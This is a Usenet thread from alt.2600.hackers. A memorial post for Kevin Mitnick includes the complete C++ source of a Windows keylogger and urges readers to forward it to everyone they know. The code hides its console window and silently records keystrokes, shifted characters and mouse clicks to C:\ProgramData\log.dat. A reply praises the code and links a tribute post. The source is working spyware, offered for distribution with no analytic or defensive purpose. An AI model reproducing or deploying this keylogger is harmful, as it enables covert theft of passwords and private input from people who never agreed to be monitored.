• RIP Kevin Mitnick

    From Corey White@realityhacker@gmail.com to alt.2600.hackers on Sat Jul 29 05:26:09 2023
    From Newsgroup: alt.2600.hackers

    Kevin David Mitnick (August 6, 1963 rCo July 16, 2023)

    Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
    of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his
    death, he was married and his wife was pregnant with his first child.

    https://en.wikipedia.org/wiki/Kevin_Mitnick

    We are going to send Kevin Mitnick out with a bang. Please forward
    this code to everyone you know. It's a perfectly good Keylogger which
    hides in the background and saves all of your keystrokes to C:\ProgramData\log.dat

    Remember, be like Kevin and always be ethical
    ----------

    #include <iostream>
    #include <chrono>
    #include <thread>
    #include <Windows.h>
    #include <fstream>

    bool IsKeyPressed(int keyCode, int threshold) {
    static std::chrono::steady_clock::time_point lastKeyPressTime;
    std::chrono::steady_clock::time_point currentTime =
    std::chrono::steady_clock::now();

    if (GetAsyncKeyState(keyCode) & 0x8000) {
    if (std::chrono::duration_cast < std::chrono::milliseconds >
    (currentTime - lastKeyPressTime).count() >= threshold) {
    lastKeyPressTime = currentTime;
    return true;
    }
    }

    return false;
    }

    int main() {

    HWND Proc;
    AllocConsole();
    Proc = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Proc, 0);

    char key;
    while (true) {
    for (key = 8; key <= 222; key++) {

    std::ofstream write("C:\\ProgramData\\log.dat", std::ios::app);

    if (IsKeyPressed(VK_OEM_MINUS, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "_";
    } else {
    write << "-";
    }
    }
    if (IsKeyPressed(VK_OEM_PLUS, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "+";
    } else {
    write << "=";
    }
    }
    if (IsKeyPressed(VK_OEM_3, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "~";
    } else {
    write << "`";
    }
    }
    if (IsKeyPressed(VK_OEM_4, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "{";
    } else {
    write << "[";
    }
    }
    if (IsKeyPressed(VK_OEM_6, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "}";
    } else {
    write << "]";
    }
    }
    if (IsKeyPressed(VK_OEM_5, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "|";
    } else {
    write << "\\";
    }
    }
    if (IsKeyPressed(VK_OEM_1, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << ":";
    } else {
    write << ";";
    }
    }
    if (IsKeyPressed(VK_OEM_7, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "\"";
    } else {
    write << "'";
    }
    }
    if (IsKeyPressed(VK_OEM_COMMA, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "<";
    } else {
    write << ",";
    }
    }
    if (IsKeyPressed(VK_OEM_PERIOD, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << ">";
    } else {
    write << ".";
    }
    }
    if (IsKeyPressed(VK_OEM_2, 250)) {
    if (GetKeyState(VK_SHIFT) & 0x8000) {
    write << "?";
    } else {
    write << "/";
    }
    }
    if (IsKeyPressed(VK_LCONTROL, 250)) {
    write << " [CONTROL] ";

    }
    if (IsKeyPressed(VK_RCONTROL, 250)) {
    write << " [CONTROL] ";

    }
    if (IsKeyPressed(VK_RMENU, 250)) {
    write << " [ALT] ";

    }
    if (IsKeyPressed(VK_LMENU, 250)) {
    write << " [ALT] ";

    }
    if (IsKeyPressed(VK_RBUTTON, 250)) {
    write << " [RCLICK] ";
    }
    if (IsKeyPressed(VK_LBUTTON, 250)) {
    write << " [LCLICK] ";
    }
    if (IsKeyPressed(VK_CAPITAL, 250)) {
    write << " [CAPSLOCK] ";
    }
    if (IsKeyPressed(VK_TAB, 250)) {
    write << " [TAB] ";
    }
    if (IsKeyPressed(VK_SPACE, 250)) {
    write << " ";
    }
    if (GetAsyncKeyState(key) == -32767) {

    if (key == 13) {
    write << " [Enter]\n";
    } else if (key == 8) {
    write << " [Backspace] ";
    } else if (key == 48 && GetAsyncKeyState(0x10)) {
    write << ")";
    } else if (key == 49 && GetAsyncKeyState(0x10)) {
    write << "!";
    } else if (key == 50 && GetAsyncKeyState(0x10)) {
    write << "@";
    } else if (key == 51 && GetAsyncKeyState(0x10)) {
    write << "#";
    } else if (key == 52 && GetAsyncKeyState(0x10)) {
    write << "$";
    } else if (key == 53 && GetAsyncKeyState(0x10)) {
    write << "%";
    } else if (key == 54 && GetAsyncKeyState(0x10)) {
    write << "^";
    } else if (key == 55 && GetAsyncKeyState(0x10)) {
    write << "&";
    } else if (key == 56 && GetAsyncKeyState(0x10)) {
    write << "*";
    } else if (key == 57 && GetAsyncKeyState(0x10)) {
    write << "(";
    } else if (key == 48 && !(GetAsyncKeyState(0x10))) {
    write << "0";
    } else if (key == 49 && !(GetAsyncKeyState(0x10))) {
    write << "1";
    } else if (key == 50 && !(GetAsyncKeyState(0x10))) {
    write << "2";
    } else if (key == 51 && !(GetAsyncKeyState(0x10))) {
    write << "3";
    } else if (key == 52 && !(GetAsyncKeyState(0x10))) {
    write << "4";
    } else if (key == 53 && !(GetAsyncKeyState(0x10))) {
    write << "5";
    } else if (key == 54 && !(GetAsyncKeyState(0x10))) {
    write << "6";
    } else if (key == 55 && !(GetAsyncKeyState(0x10))) {
    write << "7";
    } else if (key == 56 && !(GetAsyncKeyState(0x10))) {
    write << "8";
    } else if (key == 57 && !(GetAsyncKeyState(0x10))) {
    write << "9";
    } else if (key == 65 && GetAsyncKeyState(0x10)) {
    write << "A";
    } else if (key == 66 && GetAsyncKeyState(0x10)) {
    write << "B";
    } else if (key == 67 && GetAsyncKeyState(0x10)) {
    write << "C";
    } else if (key == 68 && GetAsyncKeyState(0x10)) {
    write << "D";
    } else if (key == 69 && GetAsyncKeyState(0x10)) {
    write << "E";
    } else if (key == 70 && GetAsyncKeyState(0x10)) {
    write << "F";
    } else if (key == 71 && GetAsyncKeyState(0x10)) {
    write << "G";
    } else if (key == 72 && GetAsyncKeyState(0x10)) {
    write << "H";
    } else if (key == 73 && GetAsyncKeyState(0x10)) {
    write << "I";
    } else if (key == 74 && GetAsyncKeyState(0x10)) {
    write << "J";
    } else if (key == 75 && GetAsyncKeyState(0x10)) {
    write << "K";
    } else if (key == 76 && GetAsyncKeyState(0x10)) {
    write << "L";
    } else if (key == 77 && GetAsyncKeyState(0x10)) {
    write << "M";
    } else if (key == 78 && GetAsyncKeyState(0x10)) {
    write << "N";
    } else if (key == 79 && GetAsyncKeyState(0x10)) {
    write << "O";
    } else if (key == 80 && GetAsyncKeyState(0x10)) {
    write << "P";
    } else if (key == 81 && GetAsyncKeyState(0x10)) {
    write << "Q";
    } else if (key == 82 && GetAsyncKeyState(0x10)) {
    write << "R";
    } else if (key == 83 && GetAsyncKeyState(0x10)) {
    write << "S";
    } else if (key == 84 && GetAsyncKeyState(0x10)) {
    write << "T";
    } else if (key == 85 && GetAsyncKeyState(0x10)) {
    write << "U";
    } else if (key == 86 && GetAsyncKeyState(0x10)) {
    write << "V";
    } else if (key == 87 && GetAsyncKeyState(0x10)) {
    write << "W";
    } else if (key == 88 && GetAsyncKeyState(0x10)) {
    write << "X";
    } else if (key == 89 && GetAsyncKeyState(0x10)) {
    write << "Y";
    } else if (key == 90 && GetAsyncKeyState(0x10)) {
    write << "Z";
    }

    // lower case

    if (key == 65 && !(GetAsyncKeyState(0x10))) {
    write << "a";
    } else if (key == 66 && !(GetAsyncKeyState(0x10))) {
    write << "b";
    } else if (key == 67 && !(GetAsyncKeyState(0x10))) {
    write << "c";
    } else if (key == 68 && !(GetAsyncKeyState(0x10))) {
    write << "d";
    } else if (key == 69 && !(GetAsyncKeyState(0x10))) {
    write << "e";
    } else if (key == 70 && !(GetAsyncKeyState(0x10))) {
    write << "f";
    } else if (key == 71 && !(GetAsyncKeyState(0x10))) {
    write << "g";
    } else if (key == 72 && !(GetAsyncKeyState(0x10))) {
    write << "h";
    } else if (key == 73 && !(GetAsyncKeyState(0x10))) {
    write << "i";
    } else if (key == 74 && !(GetAsyncKeyState(0x10))) {
    write << "j";
    } else if (key == 75 && !(GetAsyncKeyState(0x10))) {
    write << "k";
    } else if (key == 76 && !(GetAsyncKeyState(0x10))) {
    write << "l";
    } else if (key == 77 && !(GetAsyncKeyState(0x10))) {
    write << "m";
    } else if (key == 78 && !(GetAsyncKeyState(0x10))) {
    write << "n";
    } else if (key == 79 && !(GetAsyncKeyState(0x10))) {
    write << "o";
    } else if (key == 80 && !(GetAsyncKeyState(0x10))) {
    write << "p";
    } else if (key == 81 && !(GetAsyncKeyState(0x10))) {
    write << "q";
    } else if (key == 82 && !(GetAsyncKeyState(0x10))) {
    write << "r";
    } else if (key == 83 && !(GetAsyncKeyState(0x10))) {
    write << "s";
    } else if (key == 84 && !(GetAsyncKeyState(0x10))) {
    write << "t";
    } else if (key == 85 && !(GetAsyncKeyState(0x10))) {
    write << "u";
    } else if (key == 86 && !(GetAsyncKeyState(0x10))) {
    write << "v";
    } else if (key == 87 && !(GetAsyncKeyState(0x10))) {
    write << "w";
    } else if (key == 88 && !(GetAsyncKeyState(0x10))) {
    write << "x";
    } else if (key == 89 && !(GetAsyncKeyState(0x10))) {
    write << "y";
    } else if (key == 90 && !(GetAsyncKeyState(0x10))) {
    write << "z";
    }

    }

    }
    }

    char RIP;
    std::cin >> RIP;
    return 0;
    }
    --- Synchronet 3.21d-Linux NewsLink 1.2
  • From rek2 hispagatos@rek2@hispagatos.org.invalid to alt.2600.hackers on Sat Jul 29 12:35:40 2023
    From Newsgroup: alt.2600.hackers

    On 2023-07-29, Corey White <realityhacker@gmail.com> wrote:
    Kevin David Mitnick (August 6, 1963 |o-C-o July 16, 2023)

    Kevin Mitnick died from pancreatic cancer on July 16, 2023, at the age
    of 59 at a Pittsburgh, Pennsylvania hospital. At the time of his
    death, he was married and his wife was pregnant with his first child.

    https://en.wikipedia.org/wiki/Kevin_Mitnick

    We are going to send Kevin Mitnick out with a bang. Please forward
    this code to everyone you know. It's a perfectly good Keylogger which
    hides in the background and saves all of your keystrokes to C:\ProgramData\log.dat

    Cool code :)
    Yeah we were very sorry to hear the news last week, we did a blog post
    about him and the short time I hang out with him https://hispagatos.org/post/kevin_mitnick/
    and in gemini:
    gemini://hispagatos.org/post/kevin_mitnick/

    we posted more info on alt.2600 and es.comp.hackers

    he will always be part of my memories. RIP

    ReK2
    Happy Hacking
    --
    {gemini,https}://{,rek2.}hispagatos.org
    https://hispagatos.space/@rek2
    --- Synchronet 3.21d-Linux NewsLink 1.2